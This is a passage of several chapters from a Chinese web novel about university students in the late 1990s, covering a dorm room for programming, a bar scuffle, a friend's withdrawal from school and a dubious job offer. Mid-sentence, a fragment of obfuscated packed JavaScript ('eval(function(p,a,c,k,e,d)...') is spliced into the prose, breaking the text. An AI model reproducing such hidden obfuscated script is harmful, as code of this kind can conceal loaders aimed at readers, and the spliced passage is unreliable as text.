“这是罗点点的权力。”韩学涛打断他,“就算她遇人不淑,她倒霉,被骗财骗色,跳到火坑里去了,那也是她的选择。她有自己选择倒霉的权力。换句话说,这就是她的命。我有什么立场干涉?” 马辉惊呆了,张着嘴,半天没说出话来。 “我们跟她不是高中一起过来的同学么?”他的声音低了下去,带着一种被否定的委屈和不解。 “你也知道是同学?”韩学涛说,“你不是她爸,不是她老公,甚至都不是她男朋友。你只是她的同学。请问,你凭什么管?” “我喜欢她不行么?”马辉声音里带着一种快要哭出来的嘶哑,“韩学涛,你怎么这么冷漠?” 韩学涛的眼睛一下子冷了。 “我冷漠?”他盯着马辉,声音一字一顿,“我刚刚为了你,把你们寝室两个人堵在被窝里打。你觉得这叫冷漠?” 马辉张了张嘴,被噎住了。 “但是你做的这件事情,你想过后果吗?”韩学涛的声音沉下来,“你脑子里面只有罗点点,你想过其他人么?在学校食堂打架,你有能力善后吗?众目睽睽之下,人家要告你,一告一个准。” 他往前走了一步,离马辉更近了:“现在学校的处分还没下来,到时候给你记个大过,弄个留校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“现在你要做的事情,不是去找罗点点,而是想办法让学校给你的处罚尽量减轻。你处理不好这事儿,就早点跟你妈说,让阿姨过来跟学校沟通。” 他松开手,退后一步,声音缓了下来。 “找女人不是一起吃饭、一起上自习、一起钻小树林就算的。你得有能力照顾她,有能力保护她,有能力养她。在你没有能力做到这些之前,得到的女人,她们最终都会恨你。” 他伸出手,揉了揉马辉的头发。 “兄弟,想清楚了。” 第108章 留学生宿舍 从农院回来,韩学涛跟李曼说了一声马辉的事,就又过回了正常的学习生活。 接下来几天,他哪都没去,扎在寝室里把那套MIT的GPS课程最后几讲听完了。 磁带从头到尾转了不知道多少遍,笔记本写了厚厚一本。 听完最后一讲的那天下午,韩学涛把磁带从录音机里取出来,装回盒子里,靠在床头上闭了一会儿眼。 脑子里全是下一步的事——光听不练没用,得弄台电脑来自己编程。 他抽空去校门口的电脑城转了一圈,问了问价格。组装机,配个15寸的显示器,一套下来大概七千多块。对一般家庭来说这可不是小数目,但对刚在股市上赚了一大笔韩学涛来说,也不算什么了。 钱不是问题,问题是怎么放。 寝室肯定不行。八个人挤一间屋,别说放电脑了,连个安静敲代码的地方都没有。而且电脑这东西搁在寝室里,今天于鑫借去玩游戏,明天李靖拿来放音乐,后天全寝室围着看碟,他什么都别想干。 只能租房子。 宁海大学周围租房子的选择很多,学校后门那条街上贴满了招租广告,有单间、有合租、有民房、有单元楼。韩学涛跑了一圈,看了好几处,都不太满意。 正发愁呢,冯老师知道了这事。 韩学涛没跟她说炒股赚钱的事,只说家里给凑了点钱买了台电脑,想找个安静的地方学习编程。冯老师一听,想了想,说:“你等一下,我帮你问问。” 第二天她就给了回话——留学生宿舍那边有空房间,她跟国际交流中心的老师打了个招呼,给韩学涛弄了一间。 韩学涛过去一看,这宿舍的条件也太好了。 同样是在宁海大学,他们国内本科生和留学生的住宿条件简直是天壤之别。 本科生八个人挤一间屋,公共厕所,公共澡堂。留学生这边呢?单间,独立卫生间,房间里有电视,书桌上甚至还有互联网接口——一个方方正正的RJ45插口,旁边贴着一张小小的标签,印着“CE”几个字母。 韩学涛蹲下来看了看那个接口,心里有点感慨。 现在的大学生可能不太清楚这东西意味着什么,但他知道。国内教育和科研计算机网——CE,1994年开始筹建,北大、清华、宁海大学都属于首批建设校园网的高校。到现在三年了,网络是通了,但一般学生根本用不上。别说上网了,很多人连电脑都没摸过。 留学生公寓属于信息化先行区,能用,但也只能浏览国内网站,如果要浏览国际互联网,得去学校的计算机中心单独开户。此时的网速极慢,开个网页要等半天,国际流量更是贵得离谱,按兆收费,一般人根本用不起。 不过不管怎么说,能够弄到这么一个条件不错的留学生宿舍,韩学涛已经非常满意了。 当天下午他就跑去电脑城,把之前看好的那套配置买了,又顺道买了一堆日用品,大包小包地搬回了留学生宿舍。铺好床,摆好东西,把电脑从箱子里拆出来,电源插上,按下开关,风扇嗡嗡地转起来,屏幕上跳出蓝色的Windows 95启动画面。 韩学涛站在桌前,满意一笑。 从今天起,他在宁海大学就有两个住宿的地方了。 不过这事儿他没告诉任何人,连寝室里的人都不知道。冯老师帮他搞到这个房间算是钻了空子,一个本科生同时住在留学生宿舍,传出去不太好。到时候弄得满城风雨,只会给冯老师添麻烦。 他打算低调一点,需要安静的时候就过来,平时该回寝室回寝室,该上课上课,谁也不耽误。 股票市场自从韩学涛卖掉之后,就一直跌。 不是那种急风暴雨式的暴跌,而是一天一天的往下阴跌,像温水煮青蛙。今天跌一点,明天跌一点,后天再跌一点,跌得不痛不痒,但回头一看,今年以来的涨幅已经被抹掉了一大半。 那些在五月初还信心满满、追高杀入的股民,现在一个个被套得结结实实,卖也不是,不卖也不是。 韩学涛每次路过报刊亭买报纸,刘阿姨都要跟他唠叨几句。 “哎呀,悔死我了,你那天跟我说的时候我就该全卖掉的。”刘阿姨一边递报纸一边叹气,“我后来等了好几天,看市场一点反弹的样子都没有,才咬着牙卖了一半。剩下那一半我还搁在手里呢,天天跌,天天跌,看得我心都疼。” 韩学涛接过报纸,笑了笑,没接话。 “你还有没有消息啊?能不能反弹?” 韩学涛摇头:“不知道,没消息。” 这倒不是敷衍。他是真不知道短期涨跌。他只知道大趋势——五月见顶,接下来是漫长的下跌,中间会有反弹,但都是逃命的机会。至于具体哪天反弹、反弹多高,他说不准。 刘阿姨能听他一句话卖了一半,已经算不错了。减少半仓的亏损,也算是回报了阿姨每次都送他冰棍吃的善缘。 203寝室的电话坏了。 老谢去报修,回复说要等两周左右才能修好。 这把寝室里几个牲口急得团团转。于鑫和李靖最近经常跟胡荔荔和高洋煲电话粥,两个联谊寝室俨然已经成为他们四个人的固定聚会。每天晚上一到熄灯前后,两个人就轮流霸占电话,一聊就是半小时起步。 现在电话坏了,等于断了他们的命根子。 “两周?两周我人都要疯了。”于鑫躺在床上,双手枕在脑后,眼睛瞪着天花板,一副生无可恋的样子。 “就是啊,这都什么效率?”李靖坐在床边,也跟着抱怨,“一个破电话修两周,学校后勤是干什么吃的?” 两个人你一言我一语,翻来覆去就那么几句话,已经唠叨了好几天了。 韩学涛坐在自己床上翻书,听他们唠叨了半天,终于忍不住开口了:“你们两个至于吗?急不可耐天天说。嫌电话坏了不方便,就去女生寝室楼下喊呗,或者让高洋和胡荔荔来我们寝室——反正女生进男生寝室楼也不限制。” 话音刚落,于鑫和李靖同时转过头来。 “涛哥,你站着说话不腰疼。”于鑫从床上坐起来,“男生寝室里一堆大老爷们儿,而且又不讲究——你看看赵江那双臭袜子,挂在床头上半个月了都没洗,那味儿隔着三米都能把人送走。走廊里更别提了,一到晚上全是大光膀子来回走,哪个女生敢进来?” 李靖跟着说:“就是,你让高洋来我们寝室?我怕她进来待三分钟就得哭着跑出去。” “我听说化工系那边有个女生去寝室找男朋友,”于鑫接过话头,绘声绘色地讲起来,“一推门,那股味儿啊——据说她当场就吐了,真的吐了,不是夸张。后来那个男的寝室公告栏小黑板上挂了整整一个星期。” 两个人你一言我一语,越说越来劲。 韩学涛听得直摇头,合上书站起来:“行了行了,你们继续唠叨吧,我走了。” 他背上包,正准备出门。 寝室的门被敲响了。 “门没关,进来!”于鑫头都没抬。 门被推开了。 一个女生走了进来。 牛仔裤,白衬衣,扎着马尾辫,背着一把吉他。 展雪站在门口,目光在寝室里扫了一圈,落在一个人的身上。 “韩学涛,我找你。” 整个203寝室瞬间安静了。 于鑫嘴张着,表情凝固在脸上。李靖手里拿着的杯子停在半空中,一动不动。小巴从床铺探出半个脑袋,眼睛瞪得贼大。就连一向面无表情的楚强都抬起了头。 所有人都在看展雪。 韩学涛看了一眼赵江挂在床头的袜子,说:“呃,走吧,有什么事我们出去说。”。 第109章 有人来抓我 韩学涛跟着展雪走出寝室,发现二楼的过道异常安静。 平时这个点,走廊里总是人来人往,可此刻,整条走廊空荡荡的,一个鬼影都没有,甚至连最里头洗漱间的水声都没了。 他们这栋男生宿舍楼是那种老式的筒子楼,走廊贯通东西两头,最把头是一个很大的洗漱间,两排水龙头一字排开,平时给学生们接凉水、洗衣服用。 夏天的时候,很多男生不愿意去挤公共澡堂,就端着盆直接到洗漱间,对着自来水龙头冲凉。冲完凉,往往就穿个裤衩、光个膀子回寝室。越是天热,这种场景越常见,尤其是在下午四五点钟、晚饭前后那会儿。 像今天这么安静,韩学涛还是第一次见。 他扫了一眼空荡荡的走廊,又看了看前面走着的展雪——白衬衣、马尾辫。大概能想象,刚才展雪上楼的时候,对这条走廊上的人们造成了怎样的冲击。 两个人一前一后下了楼梯。 走出寝室楼大门的那一刻,韩学涛明显感觉到——背后的楼又“活”了过来。 喧嚣声一瞬间从脑后炸开,那种感觉就像有人按下了暂停键,现在又开始播放,对比十分强烈。 展雪面无表情,头都没回,“走吧,”她说,“我请你喝东西。” 韩学涛:“什么原因?” “一会儿你就知道了。” 韩学涛问:“喝东西,你需要背一把吉他吗?” “刚刚在学生会彩排完,懒得放回寝室了。” 韩学涛:“我还以为你是在寝室打我们203电话,打不通才过来的。” 展雪说:“我用学生会那边的电话打的。” 两个人出了校门,拐进旁边的一条小街,走了没多远,展雪在一家店门口停下来。 韩学涛抬头看了一眼招牌——“木吉他啤酒吧”。他听于鑫提过两次,说这儿氛围不错,但一直没来过。 推门进去,里面不大,十来张桌子,装修简单,小有特色——墙上挂着几把破吉他和黑胶唱片,桌面是那种粗犷的原木,每张桌上放一个小烛台,音响里放着华仔的歌。 “冷冷的冰雨在脸上胡乱地拍……” 这首歌从今年二月开始流行,到处都在放,不过还是没有盖过任贤齐那首《心太软》。 展雪找了一张靠墙的桌子坐下来,把吉他靠在旁边。一个扎着围裙的服务生走过来,她点了两杯扎啤,然后拉开吉他盒子的拉链,从里面掏出一份文件,递到韩学涛面前。 韩学涛拿起来一看——是一份版权证书。 上面印着作品名称、创作完成时间、著作权人那一栏两个名字并排印着:韩学涛、展雪。 展雪说:“谢谢你把这首歌送给我。不过我觉得你是原创,名字也应该在上面。后面我完善了曲子和编曲,算是也做了一点辅助的贡献。这首歌就算我们共同的吧。” 韩学涛拿着那张证书,看了几秒钟,没说话。 一首歌而已,他真无所谓,以后也不指着这个商演。不过展雪既然这么做了,那也行吧。 他把证书递还给展雪,端起自己面前的扎啤杯,举起来。 “那——合作愉快。” 展雪也端起杯子,跟他碰了一下。 “叮”的一声。 韩学涛喝了一口,味道还不错,有一种淡淡的水果味,估计女生喜欢。他放下杯子,没话找话地问了一句:“怎么注册了这么久?” 展雪看了他一眼:“你以为呢?流程很复杂的。要提交词曲手稿、音频,还要填一堆表格。版权局那边有初审和实审,全部通过了之后才是缴费领证。我能这么快拿到,已经很不错了。” 韩学涛靠在椅背上,笑了笑:“其实用不着这么复杂。” “嗯?” “你把材料放到信封里面,去邮局买张邮票,寄给自己就行了。” 展雪愣了一下:“啊?” “邮戳的日期具有法律效应。”韩学涛说,“信件不要拆开,以后有人侵权,就拿这个信封去跟他打官司,一告一个准。” 展雪嘴微微张着,“你怎么不早说?知不知道我跑了多少趟?我想咬死你!” 韩学涛笑着端起酒杯:“就当健身了。喝酒吧。” 展雪狠狠地瞪了他一眼,然后端起杯子,再次和他碰在一起。 韩学涛发现展雪喝酒很快。 他这边一杯才喝了一半,展雪那边的扎啤杯已经见了底。她仰头干了,把杯子往桌上一放,冲服务生招了招手。 “再来两杯。” 韩学涛说:“你怎么那么能喝?我这杯都还没喝完呢。” 展雪瞥了一眼他手里的杯子,嘴角一撇:“大不了我帮你喝。三杯扎啤,小意思。” 说是这么说,第二轮的酒端上来之后,展雪还是放慢了速度。她用手托着腮帮子,一边抿着啤酒,一边看着店外面。目光发散,像是神游天外。 韩学涛背对着店门,见展雪的目光一直盯着外面,忍不住问了一句:“外面有什么好看的?” 展雪语气淡淡的:“有一对情侣,手挽着手。看他们互相说话的样子,就知道感情肯定特别好。” 韩学涛端起杯子喝了一口:“那应该是大四以下的,还没有毕业压力。” 展雪看了他一眼,嗤笑一声:“你这人思想这么现实,真不知道那首歌你怎么写出来的。不过这次你猜错了——人家白头偕老,不知道有多美好!” 听到这话,韩学涛回头看了一眼。 哪是什么年轻情侣,是一对老头老太太,头发花白,老太太挽着老头的胳膊,两个人步履蹒跚地搀扶着走过橱窗。 韩学涛转回头来:“你表达有误。这是伴侣,不是情侣。” 没有感情,怎么可能互相陪伴这么多年?你这人……”展雪说到一半,声音突然断了。 韩学涛看见她的瞳孔猛然放大,眼底掠过一丝恐慌——那种猝然被什么击中、来不及遮掩的慌乱。 紧接着,展雪整个人猛地一缩,往墙根贴去,低着头,身体蜷进椅子里,像是想借他的身躯挡住自己。 “帮我挡一挡……外面有人来抓我!” 韩学涛扭头看向店外。 一辆黑色奔驰正缓缓停在路边。一个身形挺拔、身着黑西装的青年下了车,抬头扫了一眼“木吉他啤酒吧”的招牌,随即迈步朝店门走来。 韩学涛转回头,只见展雪几乎要缩到桌子底下去了,双肩绷得死紧,声音又急又低:“你别侧身……快帮我挡着,别让车里的人看见我。” 韩学涛微微皱眉。店里就这么大,五十来平方,几张桌子,哪能藏得住人?何况那个黑西装已经推门进来了,目光正冷冷地扫过全场。 “什么人?怕成这样?”韩学涛压低声音。 展雪抬头看了他一眼,眼神里闪过一丝意外:“你觉得我在害怕?没有啊,我就是不想让人发现。” 话音刚落,黑西装已经看见了展雪,径直朝他们这桌走来。皮鞋踩在木地板上,笃、笃、笃,不紧不慢,步步逼近。 展雪猛地从座位上跳下来,一把抓住韩学涛的胳膊:“走,后门。” 就在这时,服务生端着扎啤经过。 韩学涛从座位上跳下的那一瞬,身体不偏不倚撞上了托盘。托盘猛地一歪,两大杯扎啤连杯带酒,直直朝黑衣人飞了过去。 黑衣人反应不慢,侧身一闪——两杯扎啤砸在地上,玻璃碴四溅,啤酒沫淌了一地。店里几个客人惊叫着往后躲。 韩学涛没有停。 他拎起靠在桌边的吉他盒,没有任何迟疑,直接抡起来,狠狠朝黑衣人脑袋砸去。 吉他盒带着风声,闷实地砸在对方耳朵上。 一声闷响。 黑衣人身体一歪,踉跄了两步,手捂住耳朵。他想站稳,腿却已经不听使唤,膝盖一软,整个人栽倒在地,撞翻一把椅子,发出更大的轰响。 店里客人尖叫起来。 展雪也惊呆了。 韩学涛把吉他盒往背上一甩,左手一把攥住展雪的手腕,拽着她踩过满地玻璃碴和啤酒沫,直奔吧台后面。 吧台后面有一扇小门,通往后巷。 经过吧台时,韩学涛从兜里掏出一张一百块,拍在台面上,头都没回,拉着展雪推门而出。 后巷很窄,两边是高墙,头顶只剩一线天。空气里弥漫着潮湿的霉味,地上坑坑洼洼,积着不知什么时候留下的污水。 韩学涛没有犹豫,拉着展雪一路小跑,出了后巷,拐上大路,直奔学校方向。 展雪被他拽着跑,踉踉跄跄的,扎头发的皮筋不知道什么时候掉了,马尾散开,头发披在肩上,被风吹得乱七八糟。她想说话,但跑得太快,气接不上来,只能大口大口地喘气。 第110章 不准动我同学,否则让你好看 跑出几百米,展雪终于撑不住了,弯着腰,双手撑在膝盖上,大口大口地喘气:“别跑了……别跑了……我喘不上气了……” 韩学涛松开她的手腕,停下来,回头看了一眼校门口的方向,黑西装并没有追过来,就算追过来,在校园里面,一般人也不敢怎么样。 他转回头,看着展雪:“什么人?怎么回事?” 展雪直起身,捋了一把散落在脸上的头发,喘匀了气,看着他,语气却硬邦邦的:“这是我的事,干嘛要告诉你?而且你刚才问都不问一句就直接打人——太暴力了!” 韩学涛看了她两秒钟。 “行行行,就当我多事。你自求多福。” 他把背上背着的吉他取下来,往展雪肩膀上一挂。 “那家酒吧要是打坏了什么东西,一百块不够赔偿,你自己去解决。”韩学涛说,“走了,拜拜。” 他转身就走,头都没回。 要不是展雪刚才眼神里闪过的那一瞬惊慌对他有所触动,他也不会那么干脆地出手。结果这妞还怪起他来了? 自己真是吃饱了撑的,有这时间不如去图书馆听资料。 展雪站在原地看着他的背影,表情有些复杂,嘴角向上一弯,很快又收住了。 她转身看向学校的大门,背着吉他,慢慢地朝那个方向走去。 黑色的奔驰还停在“木吉他啤酒吧”门口,只是换了个位置,挪到了路边更暗的角落里。 后座的车窗半开着。 展雪坐在后座,靠着车窗,看着窗外,面无表情。 前面驾驶位上,黑西装男子一只手握着方向盘,另一只手捂着耳朵,嘴里骂骂咧咧:“妈的,这小兔崽子,谁啊?下手挺狠的!” 展雪冷着脸:“那个人答应过我,我上学期间他不来学校找我。” 黑西装说:“你以为我想来?今天是你妈生日,爸才让我来学校接你的。要不然我现在已经在红蔷薇会所了,谁会跑到你们学校这个破酒吧来!” 展雪冷冷地说:“一个生日,也不知道有什么好过的。年年上演一次虚情假意,烦不烦啊。” 黑西装咧嘴:“这话你去跟爸说,别跟我说。我就是个跑腿的。还有啊,怎么说我都是你哥,你能不能对我稍微客气一点?” 展雪说:“你姓来,我姓展。我们又不是一个妈生的,表演兄妹情谊,不是太虚伪了么?跑腿的多少算是个人——我连人都不算。” 黑西装张了张嘴,没说出话来。 展雪把目光从窗外收回来:“走吧,别耽误时间,晚上我还要回寝室呢。” 黑西装摇了摇头,发动了汽车。引擎低沉地响了一声,车灯亮起来。 车子缓缓驶出路边,刚要提速,黑西装忽然又开口了:“打我那小兔崽子叫什么名字?” 展雪的目光一下子冷了下来。 “人家的名字关你屁事?来俊杰,我警告你,不准动我同学,否则我一定让你好看!” 来俊杰从后视镜里看着她的眼睛,沉默了两秒,然后转回头,一打方向盘,车子拐上了大路。 “操!”他低声骂了一句,“现在被打的是我!” 韩学涛推开寝室门,屋里空荡荡的,一个人都没有。 安静得有点不太习惯。 不过转念一想,也挺好。 要是有人的话,肯定得问他展雪的事儿,搞不好还要起哄。尤其是于鑫那家伙,哪儿有热闹就往哪儿凑,嘴碎得要命。胡荔荔看着挺文静一女生,也不知道怎么就看上他了。 韩学涛琢磨了一下,觉得寝室还是不能待,待会儿准有人回来。他拎起包,直接去了图书馆。 图书馆在校园东边,从寝室楼过去要穿过一条林荫道,再经过一个小花坛。快到花坛的时候,他远远看见路边站着两个女生,其中一个正是李曼。 而李曼旁边,竟然是罗点点。 罗点点看见他走过来,神色有点不自然,别过头去,一声不吭。 李曼觉出气氛有点僵,解释说:“点点来学校找我有点事儿,马上就走了,所以也没叫你。” 韩学涛点点头:“行,那你们逛,我去图书馆了。” “你待会儿一直在图书馆吗?”李曼问,“我现在送点点出去坐车,一会儿回来找你呀。” “我在冯老师办公室。你到四楼借阅室敲敲门,我就出来了。” 本以为李曼送人二十分钟就回,结果他翻完一篇又一篇,图书馆灯都关了一半,快九点五十了,人还没来。 再过一会,图书馆都要熄灯了。 韩学涛把资料收拾好,站起来活动了一下脖子,琢磨着去女生宿舍楼问问李曼有没有回寝室。也许她忘了?或者临时有事? 走出图书馆。 韩学涛正准备下台阶,远远看见李曼从林荫道上跑过来——低着头,不看路,马尾辫在脑后一跳一跳的。 她踏上最后一个台阶,正好——“啪”的一声,图书馆里面的大灯灭了。李曼眼前骤然一黑,脚下没有踩实,整个人往前一栽,被韩学涛伸手拖住了胳膊。 “呼……吓死我了……” 李曼拍着胸口,大口大口喘气,弯着腰,半天直不起来。 “你这是掐着图书馆熄灯的点来的?怎么这么长时间?” 李曼撑着膝盖,摆了摆手,意思是我先喘口气。 韩学涛也没催她,从包里掏出一瓶纯净水,拧开盖子递过去。 李曼接过来喝了一大口…… “走吧。”她说,声音还带着点喘息,“一边走一边说,晚了寝室那边也熄灯了。” 两个人沿着林荫道往回走,校园里已经很安静了,偶尔有一两个晚归的学生从旁边经过,脚步匆匆。 李曼把那口气彻底喘匀,才开口:“对不起嘛……来晚了。本来以为门口的ATM机能取钱,结果暂停服务,害得我坐了好几站路跑到市里去。” 韩学涛眉头微微一动:“取钱?” “嗯。”李曼点点头,“点点这次过来……就是找我借钱的。她说有事急用。” 韩学涛问:“她男朋友不是已经工作了么?怎么还管你借钱?” “可能点点觉得跟男方借钱不太好意思吧。”李曼咬了咬嘴唇,“她跟我比较熟嘛……” “借了多少?” “一千。”李曼叹了口气,“我也只有这么多能给她,再多我就得管家里要了。” 韩学涛摇了摇头:“这钱恐怕你不太好要回来了。” 李曼沉默了两步,才轻轻开口:“跟点点高中几年,她都没管我借过一次钱。现在她这么张口,我能感觉到她肯定是遇到事了,而且又不好跟家里说……能借她钱的,可能就只有我了。” “她说了什么事吗?”韩学涛问。 “问了,她不肯说。”李曼无奈地抿了抿嘴。 韩学涛没再问了。 两个人走到女生宿舍楼下,李曼问:“马辉那边的处分出来了吗?” “前两天打电话说还没。” “有消息了跟我说一声哦。”李曼说,“你快回寝室吧,还有十分钟就关灯了。” 她扬了扬手里的纯净水,笑了一下:“那我上去啦。” 韩学涛点点头,站在原地,看着李曼的背影消失在宿舍楼门口。门卫阿姨探出头来看了他一眼,就把窗户关上了。 他转身回宿舍,边走心里边想:吴翔那小白脸,故意激怒马辉,被打了一道口子缝了好几针,就为了骗一千块钱? 没必要吧。 第111章 退学 “什么?你再说一遍?” 韩学涛站在宿舍楼下的IC卡电话亭前,手里攥着话筒,眉头拧成一团。 电话那头是马辉寝室的声音,但不是马辉,语气很不耐烦:“告诉你,马辉已经被开除了!烦死了,再说一百遍也是开除了!” 啪。电话挂了。 韩学涛握着话筒,听着里面“嘟嘟嘟”的忙音,站了两秒钟,抽出IC卡。 走出电话亭,他毫不犹豫,直接出校门,拦了一辆出租车。 “农学院。” 到了农学院,韩学涛直奔4号楼121寝室。 门半开着,里面只有一个人——那个小眼镜,正坐在下铺看书。看见韩学涛进来,小眼镜的表情立刻变得紧张起来,手里的书不自觉地往上抬了抬,像是想挡在脸前面。 韩学涛站在门口,没进去,冲他招了招手:“出来。” 小眼镜犹豫了一下,放下书,乖乖地走出来。 韩学涛靠在窗台上,看着他。 “马辉到底怎么回事?” 小眼镜连忙摆手:“刚才是你打的电话吧?我本来想接的,结果他们已经挂掉了。这事儿跟我没关系,真的跟我没关系。” “我问你马辉的事。”韩学涛语气没变,“接我电话那个人说马辉被开除了,是不是真的?” 小眼镜咽了口唾沫,声音低下去:“不是开除……是退学。” 韩学涛眉头一皱:“退学?” 小眼镜点了点头:“马辉走之前,我请他喝过酒,他跟我说的。他妈妈来学校了,学校给了两种处理意见。” “你说?” “一种就是记大过。”小眼镜说,“但这个要进档案,跟一辈子。而且背着这么一个处分,毕业的时候不一定能拿到毕业证,说不定只能拿结业证。” 他顿了一下,看了韩学涛一眼,见他没有打断的意思,才继续说:“第二种就是自己主动退学。学校就当这事儿没发生过,档案直接退回去,然后重新高考。” 小眼镜推了推眼镜,仿佛复述一般地说:“马辉跟我说,这都是学校的原话。说退学看似退一步,但其实未来的路走得更宽。如果高中的底子还在,马上过两个月就能参加高考。实在不行,复读一年也耽误不了多少功夫......” 韩学涛问:“马辉什么时候走的?” “有三天了。”小眼镜说。 韩学涛转身回到121寝室门口,推开门,往里看了一眼。 上次来的时候,马辉的书和太空杯还堆在桌上,现在全没了,干干净净,什么痕迹都没有。靠门那张空荡荡的床板裸露着,大概是以前马辉睡的。 什么都没留下,像是这个人从来没在这间寝室里住过一样。 韩学涛站在门口看了几秒钟,没进去,转身走了。 马辉这家伙,竟然都不告诉自己一声。 不过想想也能理解。如果这种事情发生在自己身上,他也不想跟其他人说。默默回去,也许是最好的选择。 第二天是周一,计算机课。 韩学涛把马辉退学的事情告诉了李曼。 李曼吃惊道:“啊?这么严重啊?” “学校给了两个选择,一个是记大过进档案,一个是主动退学重新高考。他妈选了退学。” 李曼沉默了一会儿,声音低下去:“那他现在……回东林了?” “走了三天了。” 李曼皱着眉头,像是在替马辉发愁:“马辉原本成绩就不太好,这又耽误了一年,马上两个月就要高考——我觉得悬。” 韩学涛说:“大不了复读一年,而且考出来比农院更好也说不定。” 话是这么说,其实他也觉得可能性不大。马辉高中的成绩摆在那儿,本来就不是什么学霸,在农院混了一年,课本都扔得差不多了,短时间捡起来考大学?悬。 但事情已经发生了,就只能往前看。 韩学涛说,“说不定马猴这次动力特别强,想考到师范去也说不定。” 说到这儿,他自己先愣了一下。 本来只是随口一说,但话出了口,觉得好像有点道理。马辉那小子,不是憋着一口劲儿想考到师范去,跟罗点点一个学校吧?看那家伙上次一脸情圣相,很有可能啊。 李曼托着下巴:“他要是真考去师范,跟点点一个学校,还不知道是好还是不好。不过师范的女生倒是比农院多。”她叹了口气:“也不知道点点知不知道马辉退学的事。” 一上午,李曼都有些心事重重。 中午她不想吃饭,买了一个豆沙包,拎着回了寝室。咬了两口,觉得没什么胃口,把剩下的半个放在桌上,准备爬上床睡一会儿。 刚脱了鞋,电话就响了。 李曼接起来:“喂?” 电话那头传来顾爱芝的声音:“喂,是小曼?你在寝室太好了。我跟你爸来宁海了,你过个二十分钟到学校门口,有车去接你。” 李曼握着话筒,精神一下子振了起来。 爸爸妈妈一起来宁海——应该是爸爸的工作调动定下来了。这样一来,以后就可以常看到父母了! “好!我马上过去!”她的声音里带着压不住的雀跃。 挂了电话,她连忙开始换衣服,一边穿鞋一边对室友说:“莎莎,下午帮我请个假,我爸妈来了!” “行,你去吧。” 李曼抓起包就往外跑,刚拉开寝室的门,电话又响了。 “李曼!又是找你的!”室友冲她喊。 李曼脚步一顿,折回来,拿起话筒,“喂?” 电话那头是一个年轻男人的声音,温和、客气,带着一点恰到好处的礼貌:“喂,是李曼吗?我是吴翔。我们上次见过的。” 点点的男朋友?李曼愣了一下,没想到是他。 “哦,你好。有什么事吗?” 吴翔的声音不急不慢:“是这样的,我们公司现在在宁海有一个展销会,想临时招两个素质高的女大学生做两天兼职,每天两百块钱。我觉得你挺合适的,想问问你有没有兴趣过来帮个忙。” “为什么不找点点?”李曼直接问。 “点点这两天身体不太舒服,不方便过来。”吴翔说。 李曼又问:“那点点为什么不给我打电话?” 吴翔笑着解释:“你的号码就是点点给我的。她那边要上课,有时候打电话不方便,让我这边需要的时候联系你。” 李曼沉默了一秒。 一天两百,两天四百,对于一个大学生来说确实是不低的收入,但她没有丝毫的兴趣。 而且今天爸妈刚到宁海,她哪有心情去搞什么兼职? “不好意思,”李曼干脆拒绝,“我在学校里有事,没有时间去兼职。你找别人吧。” 电话那头顿了一下。吴翔没想到她拒绝得这么干脆,沉默了一秒,又开口了,语气比刚才更殷勤了一些:“你要是嫌收入低的话,我还可以跟公司申请一下,往上调一调。” 李曼已经不想听了。她低头看了一眼手表——二十分钟已经过去好几分钟了。 “不好意思,我现在有事要出去。”她说,语速比刚才快了一些,“以后有什么事让点点打给我好了。再见。” 没等那边再说话,她直接挂断。 第112章 李际全的新职务 李曼来到学校门口,一边看表,一边左右张望。 一辆黑色的桑塔纳停在路边,车身上落着几片梧桐树叶,引擎盖还微微冒着热气,像是刚停不久。李曼往那边看了两眼,心想这应该不是母亲派来接自己的车。 她正准备往旁边走,桑塔纳的车门打开了。 吴翔从车里下来。 他穿着一件浅蓝色的衬衫,领口松开一颗扣子,看起来像是刚从什么正式场合出来。额头上贴着一块纱布,看起来格外显眼。 “李曼!”吴翔笑着冲她打招呼,“没想到刚打了电话就碰见你。” 李曼站住了脚步,吃惊地问:“你刚才是在我们学校门口给我打的电话?” 说话的时候,她的目光落在吴翔额头上那块纱布上——这就是被马辉打的吧。缝了七针,她记得罗点点是这么说的。纱布不大,但位置刚好在眉骨上方,看着有些扎眼。 吴翔似乎注意到了她的目光,下意识地抬手摸了摸纱布,笑了一下:“是啊,本来都已经聘好了人,但是临时不来了,我们就想赶紧找人救急——宁海大学毕竟是宁海最好的高校,你又是学生会干部,是我们公司最需要的人选。” 他的语气比电话里更热切了一些,脸上的笑容也很到位。 李曼摇了摇头,语气还是跟电话里一样干脆:“那真的不好意思,我这两天确实有事。” “有什么事儿如果不重要的话,不能推一推吗?”吴翔往前走了半步,“就当是看在点点的面子上,帮我一个忙。至于报酬方面,我让公司再往上提一提……” 李曼摆了摆手,打断了他:“这两天真的有重要的事。” 她没再解释是什么事。没必要。 吴翔张了张嘴,还想再说什么,这时候一辆黑色的奥迪从马路那头驶了过来,稳稳地停在校门口。 车门打开,一个穿着蓝色夹克衫的中年人下了车。三十来岁,头发梳得整整齐齐,他一眼就看到了李曼,又在旁边的吴翔脸上瞟了一眼,然后又笑着转回到李曼身上。 “是李曼吧?你妈妈让我来接你的。” 他转身从车里拿出一个大哥大,拨了号,递过来:“你妈跟你说。” 李曼接过大哥大,放到耳边,里面传来顾爱芝的声音:“小曼,接到你了吧?去接你的是你爸的秘书,你叫他毛叔叔就行。赶紧过来吧,妈等你吃饭呢。” “好的,妈。”李曼说完,挂了电话,把大哥大递还给中年人,很有礼貌地一笑,“麻烦毛叔叔了。” 中年人哈哈一笑:“嗨,你妈妈也真是的,叫什么叔叔?你叫我毛哥就行,我也是年轻人嘛。”他笑着拉开车门,“走吧,上车!” 李曼冲吴翔微微一点头,像是对一个不太熟的人说“借过”一样,然后转身上了奥迪。 吴翔站在原地,看着那辆黑色的奥迪拐过街角,汇入车流不见了。 他伸手摸了摸额头上的纱布,指尖碰到伤口,疼得一咧嘴,脸上的笑容早就没了,低声骂了一句什么,转身钻进了桑塔纳,“嘭”的一声关上车门。 ... 奥迪穿过市区,到达市委宿舍楼。 李曼下了车,跟着毛秘书上了楼。门一打开,一股饭菜的香味扑面而来。顾爱芝系着围裙从厨房里探出头来,看见女儿,脸上的笑纹一下子舒展开了。 “小曼来了?快进来快进来。”顾爱芝一边说一边冲门口招了招手,“小毛,一起吃点饭?” 毛秘书站在门口,笑着摆摆手:“不吃了不吃了,李书记下午还找我有事,我要是不在,该批评我了。” 